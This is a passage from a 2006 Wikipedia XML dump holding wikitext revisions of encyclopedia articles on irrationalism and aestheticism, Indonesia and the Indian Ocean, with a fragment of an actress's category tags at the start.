[[Category:1970 births|Scorupco, Izabella]]
[[Category:Living people|Scorupco, Izabella]]
[[Category:Bond girls|Scorupco, Izabella]]
[[Category:Polish actors|Scorupco, Izabella]]
[[Category:Polish models|Scorupco, Izabella]]
[[Category:Swedish actors|Scorupco, Izabella]]

[[de:Izabella Scorupco]]
[[nl:Izabella Scorupco]]
[[pl:Izabella Scorupco]]
[[sv:Izabella Scorupco]]</text>
    </revision>
  </page>
  <page>
    <title>Irrationalism and Aestheticism</title>
    <id>14576</id>
    <revision>
      <id>40656143</id>
      <timestamp>2006-02-22T02:36:43Z</timestamp>
      <contributor>
        <username>BLUE</username>
        <id>801247</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">'''Irrationalism and [[aestheticism]]''' were [[philosophical movement]]s which formed as a cultural reaction against [[positivism]] in the early [[20th century]]. These perspectives opposed or de-emphasized the importance of the [[rationality]] of human beings. Instead, they concentrated on [[Immanuel Kant|Kant]]'s &quot;[[noumenon|noumenal realm]]&quot;, or the experience of one's own existence. 

Part of the movements involved claims that [[science]] was inferior to [[intuition]].  In this project, [[art]] was given an especially high place, as it was considered the gateway to the noumenon. Unfortunately, not all of the public at the time were involved in this movement and only the [[elite]] had access to the [[art]] (ie. a &quot;Mandarin elitism&quot;).

Some of the followers of this idea are [[Nietzsche]], [[Dostoevsky]], [[Bergson]], and [[Sorel]]. [[symbolism (arts)|Symbolism]] and [[existentialism]] grew out of these schools of thought.

==See also==
*[[Rationalism]]

{{philo-stub}}
[[Category:Ethics]]

[[sk:Iracionalizmus]]</text>
    </revision>
  </page>
  <page>
    <title>Indonesia</title>
    <id>14579</id>
    <revision>
      <id>42108852</id>
      <timestamp>2006-03-03T21:59:05Z</timestamp>
      <contributor>
        <username>Klaam</username>
        <id>840384</id>
      </contributor>
      <text xml:space="preserve">{{Infobox_Country|
native_name = Republik Indonesia |
common_name = Indonesia |
image_flag = Flag_of_Indonesia.svg |
image_coat = Coat_of_Indonesia.png |
image_map = LocationIndonesia.png |
national_motto = [[Bhinneka Tunggal Ika]]&lt;br&gt;([[Javanese language#Old Javanese|Old Javanese]]/[[Kawi language|Kawi]]: Unity in Diversity)&lt;br&gt; [[ideology|National ideology]]: [[Pancasila Indonesia | Pancasila]]|
national_anthem = [[Indonesia Raya]] |
official_languages = [[Indonesian language|Indonesian]] (Bahasa Indonesia, a [[standard language|standardized dialect]] of the [[Malay language]]) |
capital = [[Jakarta]] |latd=6|latm=08|latNS=S|longd=106|longm=45|longEW=E|
largest_city = [[Jakarta]] |
government_type = [[Republic]] |
leader_titles = [[List of Presidents of Indonesia|President]] |
leader_names = [[Susilo Bambang Yudhoyono]] |
area_rank = 15th |
area_magnitude = 1_E10 |
area=1,919,440 |
percent_water = 4.85% |
population_estimate = 241,973,879 |
population_estimate_year = 2005 |
population_estimate_rank = 4th |
population_census=206,264,595|
population_census_year=2000|
population_density = 126 |
population_density_rank = 61 |
GDP_PPP_year=2004 |
GDP_PPP = $827.4 billion |
GDP_PPP_rank = 15th |
GDP_PPP_per_capita = $3,500 |
GDP_PPP_per_capita_rank = 109th |
HDI_year = 2003 |
HDI = 0.697 |
HDI_rank = 110th |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type = [[Independence]] |
established_events = - Declared&lt;br&gt; - Recognised |
established_dates = From [[Netherlands]]&lt;br&gt;[[17 August]] [[1945]]&lt;br&gt;[[27 December]] [[1949]] |
currency = [[Rupiah]] |
currency_code = IDR |
time_zone= various |
utc_offset= +7 to +9 |
time_zone_DST= not observed |
utc_offset_DST= +7 to +9|
cctld= [[.id]] |
calling_code = 62 |
footnotes =
}}

The '''Republic of Indonesia''' ([[Bahasa Indonesia]]: ''Republik Indonesia'') is located in the [[Malay Archipelago]], the world's largest [[archipelago]], between [[Indochina]] and [[Australia]], between the [[Indian Ocean|Indian]] and [[Pacific Ocean]]s. It is the most populous [[Muslim]]-majority nation in the world and the fourth [[List of countries by population|most populous]] overall. It has had free elections since the [[Indonesian 1998 Revolution|1998 Revolution]] which led to the resignation of President [[Suharto]], who came to power in 1965.

==History==
{{Main|History of Indonesia}}
&lt;!-- Unsourced image removed: [[Image:Banda Aceh's Grand Mosque, Indonesia.jpg|left|thumb|240px|Banda Aceh's Grand Mosque was built around the 12th century.]] --&gt;
Under the influences of [[Hinduism]] and [[Buddhism]], several kingdoms formed on the islands of [[Sumatra]] and [[Java (island)|Java]] from the [[7th century|7th]] to 14th century. The arrival of [[Arab]]s trading in spices later brought [[Islam]], which became the dominant religion in many parts of the archipelago after the collapse of Hindu and Buddhist kingdoms.

When the [[Portugal|Portuguese]] came in early [[16th century]], they found a multitude of small states, vulnerable to the Portuguese, and later other [[Europe]]ans wanting to dominate the [[spice trade]]. In the 17th century, the [[Netherlands|Dutch]] became the most powerful of the Europeans, ousting the [[Spain|Spanish]] and Portuguese (except for their colony of [[Portuguese Timor]] on the island of [[Timor]]). Dutch influence started with trading by the [[Dutch East India Company]] (VOC), a chartered private enterprise constituting a state in all but name, complete with its own fleet and army, which gradually expanded its influence and grip on political matters. Like the British, the Dutch mainly relied on indirect rule, using traditional native elites as [[vassal]]s, while imposing their will and extracting major income under supervision by their colonial officials. After VOC was dissolved in 1799 by the [[Batavian Republic]] ([[Napoleon_I_of_France|Napoleon's]] Dutch satellite state) and the political instability from the [[Napoleonic Wars]] including partial British occupation, the East Indies were awarded to the [[United Kingdom of the Netherlands]] in 1815. Since then, the East Indies were officially ruled as the major colonies of the Dutch crown.

Under the 19th-century [[Cultivation System]] (''Cultuurstelsel''), large plantations and forced cultivation were established on Java, finally creating the profit for the Netherlands that the VOC had been unable to produce. In a more liberal period of colonial rule after 1870, the Cultivation System was abolished, and after 1901 the Dutch introduced the Ethical Policy, which included limited political reform and increased investment in the colony.

During [[World War II]], with the Netherlands under [[Germany|German]] [[Military occupation|occupation]], [[Japan]] began a five-prong campaign in December 1941 towards Java and the vital fuel supplies of the [[Dutch East Indies]]. Though Japan captured Java by March 1942, it initially could not find any national leader willing to collaborate with the Japanese government against the Dutch. Eventually the Japanese commander ordered [[Sukarno]]'s  release from his prison island, and in July 1942, Sukarno arrived in Jakarta. Sukarno and his colleagues collaborated with the Japanese occupiers. In 1945, with the war drawing to a close, Sukarno was made aware of an opportunity to declare independence. In response to lobbying, Japan agreed to allow [[Sukarno]] to establish a committee to plan for independence. Sukarno and [[Mohammad Hatta]] declared independence on [[17 August]].

Following the defeat of Japan in the World War, the [[Royal Netherlands Army|Netherlands' Army]], at first backed by the [[British]], attempted to reoccupy their former East Indies colonies. Indonesia's war for independence lasted from 1945 until [[27 December]], [[1949]] when, under heavy international pressure, especially from the [[United States]], which threatened to cut off [[Marshall Plan]] funds, the Netherlands acknowledged the independence of Indonesia as a Federation of autonomous states. This federation soon became a republic with Sukarno as president and Hatta as vice president. ''See [[Indonesian National Revolution]]''. It was not until [[16 august]] [[2005]] that the Dutch [[government]] recognised 1945 as the country's year of independence and expressed regrets over the Indonesian deaths caused by the Netherlands' Army.

The 1950s and 1960s saw Sukarno's government aligned first with the emerging [[non-aligned movement]] and later with the [[socialist]] bloc.  The 1960s saw Indonesia in a military [[Indonesia-Malaysia confrontation|confrontation]] against neighboring [[Malaysia]], and increasing frustration over domestic economic difficulties. Army general [[Suharto]] became president in 1967 on the pretext of securing the country against an alleged [[Communism|communist]] coup attempt against a weakening Sukarno, whose tilt leftward had alarmed both the military and Western powers. In the aftermath of Suharto's rise, hundreds of thousands people were killed or imprisoned by the military and religious groups in a backlash against alleged communist supporters. Suharto's administration is commonly called the ''[[New Order (Indonesia)|New Order]]'' era. Suharto invited major foreign [[investment]], which produced substantial, if uneven, economic growth. However, Suharto enriched himself and his family through widespread [[political corruption|corruption]] and was forced to step down amid massive popular demonstrations and a faltering economy by the [[Indonesian Revolution of 1998]].

From 1998 to 2001, the country had three [[President of Indonesia|presidents]]: [[Jusuf Habibie|Bacharuddin Jusuf (BJ) Habibie]], [[Abdurrahman Wahid]] and [[Megawati Sukarnoputri]]. Indonesia's first direct presidential election was held in 2004, and won by [[Susilo Bambang Yudhoyono]].  It was the largest one-day election in the world.

A massive [[2004 Indian Ocean earthquake|earthquake and tsunami]] on [[26 December]] [[2004]] devastated parts of northern [[Sumatra]], particularly [[Aceh]].

==Politics==
{{Main|Politics of Indonesia}}

The highest legislative body is the ''Majelis Permusyawaratan Rakyat'' (MPR, head: [[Hidayat Nur Wahid]]) or 'People's Consultative Assembly', consisting of the ''Dewan Perwakilan Rakyat'' (DPR, head: [[Agung Laksono]]) or [[People's Representative Council]], elected for a five-year term, and the ''Dewan Perwakilan Daerah'' (DPD, head: [[Ginandjar Kartasasmita]]) or [[Regional Representatives Council]]. Following elections in 2004, the MPR became a [[bicameral]] [[parliament]], with the creation of the DPD as its second chamber.

Indonesia is a founding member of the [[Association of South East Asian Nations]] (ASEAN), and thereby a member of both [[ASEAN+3]] and the [[East Asia Summit]] (EAS).

==Provinces==
{{Main|Provinces of Indonesia}}, [[Subdivisions of Indonesia]]
[[Image:Indonesia provinces english.png|right|thumb|400px|Map of the provinces of Indonesia]]
Currently, Indonesia has 33 [[Provinces_of_Indonesia|province]]s (of those, 2 are special territories and 1 special capital region). The provinces are subdivided into [[Regencies_of_Indonesia|regencies]] and [[Cities_of_Indonesia|cities]], which are in turn split up in [[sub-district]]s.  The provinces are:

[[Bali]],
[[Bangka-Belitung]],
[[Banten]],
[[Bengkulu]],
[[Central Java]],
[[Central Kalimantan]],
[[Central Sulawesi]],
[[East Java]],
[[East Kalimantan]],
[[East Nusa Tenggara]],
[[South Sumatra]],
[[Gorontalo]],
[[Jambi]],
[[Lampung]],
[[Maluku (Indonesian province)|Maluku]],
[[North Maluku]],
[[North Sulawesi]],
[[North Sumatra]],
[[Papua (Indonesian province)|Papua]] (Irian Jaya),
[[Riau]],
[[Riau Kepulauan]],
[[South East Sulawesi]],
[[South Kalimantan]],
[[South Sulawesi]],
[[West Irian Jaya]],
[[West Java]],
[[West Kalimantan]],
[[West Nusa Tenggara]],
[[West Sulawesi]],
[[West Sumatra]]

The special territories (''daerah istimewa'') are [[Aceh]] (or ''Nanggroe Aceh Darussalam'') and [[Yogyakarta]]. Special territories have more autonomy from the central government than other provinces, and so have unique legislative privileges: the Acehnese government has the right to create an independent legal system, and instituted a form of ''[[sharia]]'' (Islamic Law) in 2003; Yogyakarta remains a sultanate whose sultan (currently the wildly popular Sri Sultan Hamengkubuwono X) is the territory's ''de facto'' governor for life.

The special capital region is [[Jakarta]]. Though Jakarta is a single city, it is administered much as any other Indonesian province. For example, Jakarta has a governor (instead of a mayor), and is divided into several sub-regions with their own administrative systems.

[[East Timor]] was a province of Indonesia from [[1975]], when it was annexed by military invasion, until Indonesia relinquished sovereignty in [[1999]] after years of bitter fighting against East Timor [[guerrilla warfare|guerrillas]] and abuses by Indonesian military forces against the East Timorese civilians. Following a period of [[United Nations Transitional Administration in East Timor|transitional administration by the UN]], it became an [[independent state]] in [[2002]].

==Geography==
[[Image:Id-map.png|thumb|300px|right|Map of Indonesia]]
{{Main|Geography of Indonesia}}

Indonesia's [[Islands of Indonesia|18,108 islands]], of which about 6,000 are inhabited, are scattered around the [[equator]], giving the country a [[tropical climate]]. The most populated islands are [[Java (island)|Java]] (one of the most densely populated regions on Earth, where about half of the population lives), [[Sumatra]], [[Borneo]] (shared with [[Malaysia]] and [[Brunei]]), [[New Guinea]] (shared with [[Papua New Guinea]]) and [[Sulawesi]]. 

Indonesia borders Malaysia on the island of Borneo ([[Indonesian language|Indonesian]]: [[Kalimantan]]), Papua New Guinea on the island of New Guinea and [[East Timor]] on the island of [[Timor]]. In addition to the capital city of Jakarta, principal cities of high population include [[Surabaya]], [[Bandung]], [[Medan]], [[Palembang]], and [[Semarang]].

[[Image:Mahameru-volcano.jpg|thumb|200px|left|Indonesia's seismic and volcanic activity is among the Earth's highest]]
Its location on the edges of [[tectonic plate]]s, specifically the Pacific, Eurasian, and Australian, means Indonesia is frequently hit by [[earthquake]]s and the resulting [[tsunami]]s. Indonesia is also rich in [[volcano]]es, the most famous being the now-vanished [[Krakatoa|Krakatau]] (''Krakatoa''), which was located between Sumatra and Java.

Flora and fauna differ markedly between [[Kalimantan]], [[Bali]], and western islands on the one hand and [[Sulawesi]], [[Lombok]], and islands further east on the other. This ecological boundary has been called the [[Wallace line]] after its discoverer. The line is often given as the boundary between Asia and Australasia, as such making Indonesia a [[bicontinental country]].

See also: [[Asia#Map|Map of Asia]]

==Economy==
[[Image:Pachung%2C_Bali_200507-2.jpg|thumb|300px|right|[[Irrigation]] in [[Pachung]], [[Bali]].]]
{{Main|Economy of Indonesia}}
Indonesia's economy suffered greatly in the late 1990s, partly due to the [[Asian financial crisis|financial crisis]] that struck most of Asia at the time. It has stabilized somewhat since then.

The country has extensive natural resources outside Java, including [[crude oil]], [[natural gas]], [[tin]], [[copper]] and [[gold]]. Indonesia is the world's second-largest exporter of natural gas, though it has recently become a net importer of crude oil. Major agricultural products include [[rice]], [[tea]], [[coffee]], [[spice]]s and [[rubber]].  The [[central bank]] of Indonesia is Bank Indonesia [http://www.bi.go.id].

Indonesia's major trading partners are [[Japan]], the [[United States]] and the surrounding nations of [[Singapore]], [[Malaysia]] and [[Australia]].

Despite being the only Asian member of [[OPEC]], Indonesia's fuel production has declined significantly over the years, owing to aging oil fields and lack of investment in new equipment.  As a result, despite being an exporter of crude oil, Indonesia is now a net importer of oil and had previously subsidized fuel prices to keep prices low, costing [[US$]] 7 billion in 2004 [http://www.atimes.com/atimes/Southeast_Asia/GC10Ae04.html].  The current president has mandated a significant reduction of government subsidy of fuel prices in several stages [http://news.bbc.co.uk/2/hi/business/4200100.stm].  In order to alleviate economic hardships, the government has offered one-time subsidies to qualified citizens.  

The economy is now undergoing rebuilding after the December 2004 tsunami.  The government has stated to reduce subsidies, aiming to reduce the budget deficit to 1% of [[gross domestic product]] (GDP) this year, down from around 1.6% last year.

==Demographics==
{{Main|Demographics of Indonesia}}

Indonesia's population statistics are difficult to estimate. In the 2000 national census, an initial population estimate of 203 million was recorded: most of the population of [[Aceh]] was estimated from previous counts as the conflict meant that a survey was not possible, as were hard-to-reach regions of [[Papua]]. The Indonesian government later revised the estimate up to 206 million. Internationally, an undercount had been assumed, though there is no data to confirm it. The country's Central Statistics Bureau ([http://www.bps.go.id BPS]) and '''Statistics Indonesia''' quote 219.9 million as the population for 2005, while the [[CIA Factbook]] estimates are over 240 million.  Some parts of Indonesia are some of the most densly populated areas in the world: for example, [[Java (island)|Java]] is the most populous island in the world and many Indonesian cities are some of the most populous and densely populated.

Indonesia's population can be roughly divided into two groups. The west of the country is Asian and the people are mostly [[Malay people|Malay]], while the east is more Pacific and people on New Guinea are Papuan, with roots in the islands of [[Melanesia]]. There are, however, many more subdivisions,  since Indonesia spans an area the size of Europe or the USA and consists of many islands that to a large degree had separate developments. Many Indonesians identify with a more specific ethnic group that is often linked to language and regional origins; examples of these are [[Javanese]], [[Sundanese]], or [[Batak (Indonesia)|Batak]]. There are also quite different groups within many islands, such as [[Borneo]], with its [[Dayak]] and [[Punan]], who have different lifestyles and [[skintone]]s.

Most Indonesians speak a local language (''bahasa daerah'') as their first tongue, but the official national language, [[Indonesian language|Indonesian]] (locally called ''Bahasa Indonesia'') is almost universally taught in schools and is spoken by nearly every Indonesian.  It was originally a [[lingua franca]] for most of the region, including present-day [[Malaysia]] (and is thus closely related to [[Malay language|Malay]]),   accepted by the Dutch as the de facto language for the colony, and declared the official language after independence. The formerly large, influential [[Eurasian]] community (locally known as [[Indos]]) has largely left the country for the Netherlands, California and Australia, but some Eurasians remain in Indonesia and are highly esteemed models and soap opera stars.

Indonesia has serious ethnic tensions, particularly between [[Indonesian Chinese| Indonesians of Chinese ethnicity]] and the Pribumi peoples, who are considered natives of Indonesia. &quot;Non-Pribumi&quot; people are not always considered entirely Indonesian.  The [[Jakarta Riots of May 1998|riots in Jakarta in 1997 and 1998]] highlight this recurring tension.  Ethnic relations are strained mostly due to a perception that the Chinese community is too rich relative to the Pribumis, and that this is unfair.  It is indisputable that the Chinese community is on average wealthier than the Pribumis, and positions of power and influence in the business sphere are indeed held by relatively few very wealthy ethnic Chinese Indonesians. However, some of the resentment may be against the shopkeepers and more or less small-time creditors who constitute much of the Chinese Indonesian community. Chinese people occupied these roles under Dutch rule, and were used as middlemen and treated as second-class citizens, while Pribumi peasants and laborers were treated as third-class citizens (see [[Indonesian Chinese#Pre-independence History]]).  Chinese-owned shops, and the families living and working in storefront dwellings were the target of much of the wrath of the rioters. The Indonesian government is attempting to remedy problems which helped trigger the riots, but due to widespread corruption and discontent experienced by poorer Indonesians, ethnic harmony is slow in coming.  The [[corruption]], [[collusion]], and [[nepotism]] which characterized Suharto's presidency built up a public resentment that led to the eventual downfall of the Orde Baru regime but also clearly exacerbated ethnic tensions in Indonesia.

Another type of ethnic conflict that occurs with some frequency and lethality in certain areas of Indonesia is between people with deep roots in those areas and Javanese and [[Madurese]] people whose internal migration ([[transmigrasi]]) to those areas was facilitated by the central government. This type of conflict often takes on religious overtones, too, as Muslim Javanese and Madurese find themselves in areas which were predominantly Christian or animist. A particularly horrific example of this type of ethnic violence occurred in West Kalimantan, where some members of the local [[Dayak]] community massacred hundreds of Madurese, and the survivors ran for their lives. Other places where conflicts at least partly sparked by differences between internal migrants and members of the preexisting local population have resulted in fatalities include [[Ambon City|Ambon]], [[Sulawesi Tengah]], and parts of [[West Papua]] (formerly known as Irian Jaya).

Islam is [[Islam in Indonesia|Indonesia's main religion]], with almost 88% of Indonesians declared Muslim according to the 2000 religious [[census]], making Indonesia the most populous Muslim-majority nation in the world.  The remaining population is 8% [[Christianity|Christian]] (of which roughly 75% are [[Protestant]], the remainder mainly [[Catholic]], and a large minority [[Charismatic movement|Charismatic]]), 3% [[Hindu]] and 1% [[Buddhism|Buddhist]], with small communities of Jews.  Before the arrival of the [[Abrahamic]] faiths of Christianity and Islam in the [[Malay Archipelago]], the popular beliefs in region had been thoroughly influenced by [[Indic]] religious philosophy through Hinduism and Buddhism.  Although Islam was once mainly practiced in Java and parts of Sumatra, the [[transmigration program]] has increased the number of Muslims living in Bali, Borneo, the Celebes, the Moluccas, and Papua. After independence, [[syncretism]] and [[intermarriage]] has decreased somewhat and religious divides sharpened, leading to communal violence in many eastern islands and in Java.  Although only about 3% of Indonesians are officially Hindu, Indonesian beliefs are too complex to classify as belonging to a single world [[religion]].  In Java in particular, a substantial number of Muslims follow a non-orthodox, Hindu-influenced form of Islam known as [[Abangan]], while across the archipelago the Hindu legacy, along with the older mystic traditions, influences popular beliefs. Indonesians are required to declare themselves as one of these official religions. As a result, many Indonesian &quot;Muslims&quot; are non-practicing, follow Indonesia's [[animist]] traditions (a fact that the government strenuously denies), or are entirely secular.

==Culture==
[[Image:WayangKulit Scene Zoom.JPG|thumb|[[Wayang|Wayang kulit]] as seen by the audience]]
{{Main|Culture of Indonesia}}

Art forms in Indonesia have been influenced by several cultures. The famous [[Javanese]] and [[Balinese people|Balinese]] dances, for example, contain aspects of [[Hindu]] culture and mythology. 

Also well-known are the Javanese and Balinese [[Wayang|wayang kulit]] shadow theatre shows, displaying several mythological events. Several islands are famous for their [[batik]] and [[ikat]] cloth.

''[[Pencak Silat]]'' is a unique martial art originating from the archipelago.

==See also==
{{Indonesian_Topics}}

==Further reading==
* Theodore Friend, ''Indonesian Destinies'', [http://www.hup.harvard.edu/ Harvard University Press], 2003, hardcover, 544 pages, ISBN 0674011376
* Steven Drakeley: ''The history of Indonesia'', Westport, Connecticut : Greenwood, 2005, 201 pages, ISBN 0-313-33114-6

==External links==
{{sisterlinks|Indonesia}}
'''Official sites (owned and operated by the government of Indonesia and its agencies)'''
* [http://www.antara.co.id/ Antara] &amp;mdash; National News Agency
* [http://www.bi.go.id/ Bank Indonesia] &amp;mdash; Indonesian Central Bank
* [http://www.info-ri.com/ Info-RI] &amp;mdash; National Information Portal (in Indonesian)
* [http://www.deplu.go.id/?language=en&amp;embassy=1&amp; List of Indonesian embassies and consulates worldwide] (Department of Foreign Affairs)
* [http://www.indonesia.go.id/ National Portal of Republic of Indonesia] (in Indonesian)
* [http://www.rri-online.com/ RRI] &amp;mdash; National Radio Network
* [http://www.tvri.co.id/ TVRI] &amp;mdash; National Television Network (in Indonesian)
* [http://www.presidensby.info/ PresidenSBY] &amp;mdash; Presidential Official Website (in Indonesian and English)

'''Other sites (''not'' owned nor operated by the government of Indonesia and its agencies)'''
* {{wikitravel}}
* [http://www.travelblog.org/Asia/Indonesia/ Travelings Indonesia] (Travel Blogs)
* [http://www.kompas.com/ Kompas] - Indonesia's most widely circulated newspaper (in Indonesian)
* [http://www.thejakartapost.com/headlines.asp/  The Jakarta Post] - in English
* [http://www2.iisg.nl/indoc/ INDOC Database on Indonesian Labour]
* [http://www.indonesia-house.org/ Indonesia House] (in English and in Dutch)
* [http://www.indonesiamatters.com/ Indonesia Matters]
* [http://www.parasindonesia.com/ Paras Indonesia]
* [http://www.insideindonesia.org/ Inside Indonesia Journal]
* [http://www.aseannewsnetwork.com/indonesia.html News from Indonesia] (in English and in Indonesian)
* [http://www.gimonca.com/sejarah/sejarah.shtml Gimonca] (History of Indonesia)

{{Southeast Asia}}
{{Asia}}

[[Category:ASEAN member states]]
[[Category:Bicontinental countries]]
[[Category:Indonesia| ]]
[[Category:Island nations]]
[[Category:Republics]]
[[Category:Southeast Asian countries]]

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[[la:Indonesia]]
[[lv:Indonēzija]]
[[lt:Indonezija]]
[[li:Indonesië]]
[[hu:Indonézia]]
[[mi:Initonīhia]]
[[ms:Indonesia]]
[[na:Indonesia]]
[[nl:Indonesië]]
[[nds:Indonesien]]
[[ja:インドネシア]]
[[no:Indonesia]]
[[nn:Indonesia]]
[[oc:Categoria:Indonesia]]
[[pl:Indonezja]]
[[pt:Indonésia]]
[[ro:Indonezia]]
[[ru:Индонезия]]
[[se:Indonesia]]
[[sa:इन्दोनेशिया]]
[[sq:Indonezia]]
[[scn:Indunesia]]
[[simple:Indonesia]]
[[sk:Indonézia]]
[[sl:Indonezija]]
[[sr:Индонезија]]
[[su:Indonésia]]
[[fi:Indonesia]]
[[sv:Indonesien]]
[[tl:Indonesia]]
[[tg:Индонезия]]
[[te:ఇండోనేసియా]]
[[th:สาธารณรัฐอินโดนีเซีย]]
[[vi:Indonesia]]
[[tr:Endonezya]]
[[uk:Індонезія]]
[[zh:印度尼西亚]]
phurgus</text>
    </revision>
  </page>
  <page>
    <title>Indian Ocean</title>
    <id>14580</id>
    <revision>
      <id>41973558</id>
      <timestamp>2006-03-02T23:51:29Z</timestamp>
      <contributor>
        <username>Arcturus</username>
        <id>66675</id>
      </contributor>
      <comment>Restored original era format</comment>
      <text xml:space="preserve">:''This article is about the water body. For the Indian fusion music band, see [[Indian Ocean (band)]].''
{{Five oceans}}
The '''Indian Ocean''' is the third largest body of water in the world, covering about 20% of the Earth's water surface. It is bounded on the north by southern [[Asia]] (the [[Indian subcontinent]]); on the west by the [[Arabia|Arabian Peninsula]] and [[Africa]]; on the east by the [[Malay Peninsula]], the [[Sunda Islands]], and [[Australia]]; and on the south by the [[Southern Ocean]]. It is separated from the [[Atlantic Ocean]] by the 20° east [[Meridian (geography)|meridian]] running south from [[Cape Agulhas]],&lt;ref&gt;[http://ioc.unesco.org/oceanteacher/OceanTeacher2/01_GlobOcToday/03_GeopolOc/s23_1953.pdf ''Limits of Oceans and Seas''].  International Hydrographic Organization Special Publication No. 23, 1953.&lt;/ref&gt; and from the [[Pacific Ocean|Pacific]] by the 147° east meridian.  The northernmost extent of the Indian Ocean is approximately 30°north [[latitude]] in the [[Persian Gulf]]. This ocean is nearly 10,000 km (6,200 mi) wide at the southern tips of Africa and Australia; its area is 73,556,000 km² (28,400,000 mi&amp;sup2;), including the [[Red Sea]] and the Persian Gulf. The ocean's volume is estimated to be [[1 E15 m³|292,131,000 km³]] (70,086,000 mi³). Small islands dot the continental rims. [[Island]] nations within the ocean are [[Madagascar]] (formerly Malagasy Republic), the world's fourth largest island; [[Comoros]]; [[Seychelles]]; [[Maldives]]; [[Mauritius]]; and [[Sri Lanka]]. [[Indonesia]] borders it. The ocean's importance as a transit route between Asia and Africa has made it a scene of conflict. Because of its size, however, no nation had successfully dominated until the early 1800s when [[United Kingdom|Britain]] controlled much of the surrounding land.
[[Image:Indianocean.PNG|right]]

==Environment==
The African, Indian, and Antarctic crustal plates converge in the Indian Ocean. Their junctures are marked by branches of the Mid-Oceanic Ridge forming an inverted Y, with the stem running south from the edge of the continental shelf near [[Mumbai]], [[India]]. The eastern, western, and southern basins thus formed are subdivided into smaller basins by ridges. The ocean's continental shelves are narrow, averaging 200 km (125 mi) in width. An exception is found off Australia's western coast, where the shelf width exceeds 1,000 km (600 mi). The average depth of the ocean is 3,890 m (12,760 ft). Its deepest point, in the [[Java Trench]], is estimated to be 7,450 m (24,442 ft). North of 50° south latitude, 86% of the main basin is covered by [[pelagic]] sediments, of which more than one-half is [[globigerina ooze]]. The remaining 14% is layered with [[terrigenous]] sediments. Glacial outwash dominates the extreme southern latitudes.

===Climate===
The climate north of the [[equator]] is affected by a [[Monsoon]] wind system. Strong northeast winds blow from October until April; from May until October south and west winds prevail. In the [[Arabian Sea]] the violent monsoon brings rain to the Indian subcontinent. In the southern hemisphere the winds generally are milder, but summer storms near Mauritius can be severe. When the monsoon winds change, cyclones sometimes strike the shores of the Arabian Sea and the [[Bay of Bengal]].

===Hydrology===
[[Image:Indian_Ocean_bathymetry_srtm.png|thumb|right|Bathymetric map of the Indian Ocean]]

Among the few large rivers flowing into the Indian Ocean are the [[Zambezi]], [[Shatt al-Arab|Arvandrud/Shatt-al-Arab]], [[Indus River|Indus]], [[Ganges River|Ganges]], [[Brahmaputra]], and [[Ayeyarwady River]]. Currents are largely controlled by the monsoon. Two large circular currents, one in the northern hemisphere flowing clockwise and one south of the equator moving counterclockwise, constitute the dominant flow pattern. During the winter monsoon, however, currents in the north are reversed. Deepwater circulation is controlled primarily by inflows from the Atlantic Ocean, the Red Sea, and Antarctic currents. North of 20° south latitude the minimum surface temperature is 22°C (72°F), exceeding 28°C (82°F) to the east. Southward of 40° south latitude, temperatures drop quickly. Surface water salinity ranges from 32 to 37 parts per 1,000, the highest occurring in the Arabian Sea and in a belt between southern Africa and southwestern Australia. Pack ice and icebergs are found throughout the year south of about 65° south latitude. The average northern limit of icebergs is 45° south latitude.

==Economy==
The Indian Ocean provides major sea routes connecting the [[Middle East]], [[Africa]], and [[East Asia]] with [[Europe]] and the Americas. It carries a particularly heavy traffic of petroleum and petroleum products from the oilfields of the Persian Gulf and Indonesia. Large reserves of hydrocarbons are being tapped in the offshore areas of [[Saudi Arabia]], [[Iran]], [[India]], and western [[Australia]]. An estimated 40% of the world's offshore oil production comes from the Indian Ocean. Beach sands rich in heavy [[mineral]]s and offshore placer deposits are actively exploited by bordering countries, particularly [[India]], [[South Africa]], [[Indonesia]], [[Sri Lanka]], and [[Thailand]].

The warmth of the Indian Ocean keeps [[plankton|phytoplankton]] production low, except along the northern fringes and in a few scattered spots elsewhere; life in the ocean is thus limited. [[Fishing]] is confined to subsistence levels. Its fish are of great and growing importance to the bordering countries for domestic consumption and export. Fishing fleets from [[Russia]], [[Japan]], [[South Korea]], and [[Taiwan]] also exploit the Indian Ocean, mainly for shrimp and tuna.

==History==
The earliest known civilizations, in the valleys of the [[Nile]], [[Euphrates]], [[Tigris]], and Indus rivers and in Southeast Asia, have developed near the Indian Ocean. During [[Egypt]]'s 1st dynasty (c. 3000 BC), sailors were sent out onto its waters, journeying to [[Punt (region)|Punt]], thought to be part of present-day [[Somalia]]. Returning ships brought gold and myrrh. [[Phoenicia]]ns of the [[3rd millennium BC]] may have entered the area, but no settlements resulted.

The Indian Ocean is far calmer and thus open to trade earlier than the [[Atlantic]] or [[Pacific]]. The powerful [[monsoon]]s also meant ships could easily sail them west early in the season, then wait a few months and return eastwards. This allowed [[Indonesian]] peoples to cross the Indian Ocean to settle in [[Madagascar]].

In the second or first century BC [[Eudoxus of Cyzicus]] was the first [[Greece|Greek]] to cross the Indian Ocean. [[Hippalus]] is said to have discovered the direct route from [[Arabia]] to [[India]] around this time. During the first and second centuries intensive [[Roman commerce|trade relations]] developed between [[Roman Egypt]] and the [[Tamil people|Tamil kingdoms]] of the [[Cheras]], [[Cholas]] and [[Pandyas]] in Southern India. Like the Indonesian people above, the western sailors used the monsoon to cross the Ocean. The unknown author of the ''[[Periplus of the Erythraean Sea]]'' describes this route and the ports and trade goods along the coasts of [[Africa]] and [[India]] around [[70]].

In [[1497]] [[Vasco da Gama]] rounded the [[Cape of Good Hope]] and sailed to India, the first European to do so. The European ships, armed with heavy cannon, quickly came to dominate the trade. [[Portugal]] at first attempted to achieve pre-eminence setting up forts at the important straits and ports. But the small nation was unable to support such a vast project and they were replaced in the mid-[[17th century|1600s]] by other European powers. The [[Dutch East India Company]] ([[1602]]-[[1798]]) sought control of trade with the East across the Indian Ocean. [[France]] and Britain established trade companies for the area. Eventually Britain became the principal power and by [[1815]] dominated the area.

The opening of the [[Suez Canal]] in [[1869]] revived European interest in the East, but no nation was successful in establishing trade dominance. Since [[World War II]] the United Kingdom has withdrawn from the area, to be only partially replaced by India, the [[Soviet Union|USSR]], and the [[United States]]. The last two have tried to establish hegemony by negotiating for naval base sites. Developing countries bordering the ocean, however, seek to have it made a &quot;zone of peace&quot; so that they may use its shipping lanes freely, though the United States did manage to salvage a naval base for itself at Deigo Garcia in the middle of the Indian Ocean.

